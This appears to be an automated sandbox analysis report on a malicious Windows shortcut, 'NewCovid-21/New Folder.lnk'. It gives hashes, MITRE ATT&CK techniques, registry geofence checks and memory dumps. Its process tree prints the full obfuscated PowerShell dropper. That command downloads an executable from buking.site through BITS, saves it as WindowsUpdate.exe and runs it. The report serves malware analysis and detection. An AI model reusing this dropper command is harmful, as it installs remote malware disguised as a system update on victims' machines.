434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77

Analysis

max time kernel
141s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10-04-2024 10:36

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General

Target

NewCovid-21/New Folder.lnk
Size

1KB
MD5

aa3e4c243b101ed6c92b38fe8670a724
SHA1

b85ef90888d2169252af104e809726e92aa518ef
SHA256

172f12c692611e928e4ea42b883b90147888b54a8fb858fc97140b82eef409f3
SHA512

cecb656b59170bb1e67e50f38f2b2b4753b8b63ec0633604c40018ccbe45b25c69828e0d3909b8d946ac0d44e52a5a8604c0b0537a7baa9ed3e36c7df6d64d9a

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://buking.site/soft/08042021.exe

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3380 powershell.exe
3380 powershell.exe
3380 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3380 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

pid	process
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3380	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2904 wrote to memory of 3236	2904	cmd.exe	cmd.exe
PID 2904 wrote to memory of 3236	2904	cmd.exe	cmd.exe
PID 3236 wrote to memory of 3380	3236	cmd.exe	powershell.exe
PID 3236 wrote to memory of 3380	3236	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NewCovid-21\New Folder.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3712 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
1⤵
PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2n3vhbmt.ucw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3380-7-0x000002531B210000-0x000002531B232000-memory.dmp

Filesize
136KB

Download
memory/3380-10-0x00007FF9838B0000-0x00007FF984371000-memory.dmp

Filesize
10.8MB

Download
memory/3380-11-0x000002531B0D0000-0x000002531B0E0000-memory.dmp

Filesize
64KB

Download
memory/3380-12-0x000002531B0D0000-0x000002531B0E0000-memory.dmp

Filesize
64KB

Download
memory/3380-13-0x000002531B3C0000-0x000002531B3E6000-memory.dmp

Filesize
152KB

Download
memory/3380-14-0x000002531B420000-0x000002531B434000-memory.dmp

Filesize
80KB

Download
memory/3380-15-0x000002531B0D0000-0x000002531B0E0000-memory.dmp

Filesize
64KB

Download
memory/3380-18-0x00007FF9838B0000-0x00007FF984371000-memory.dmp

Filesize
10.8MB

Download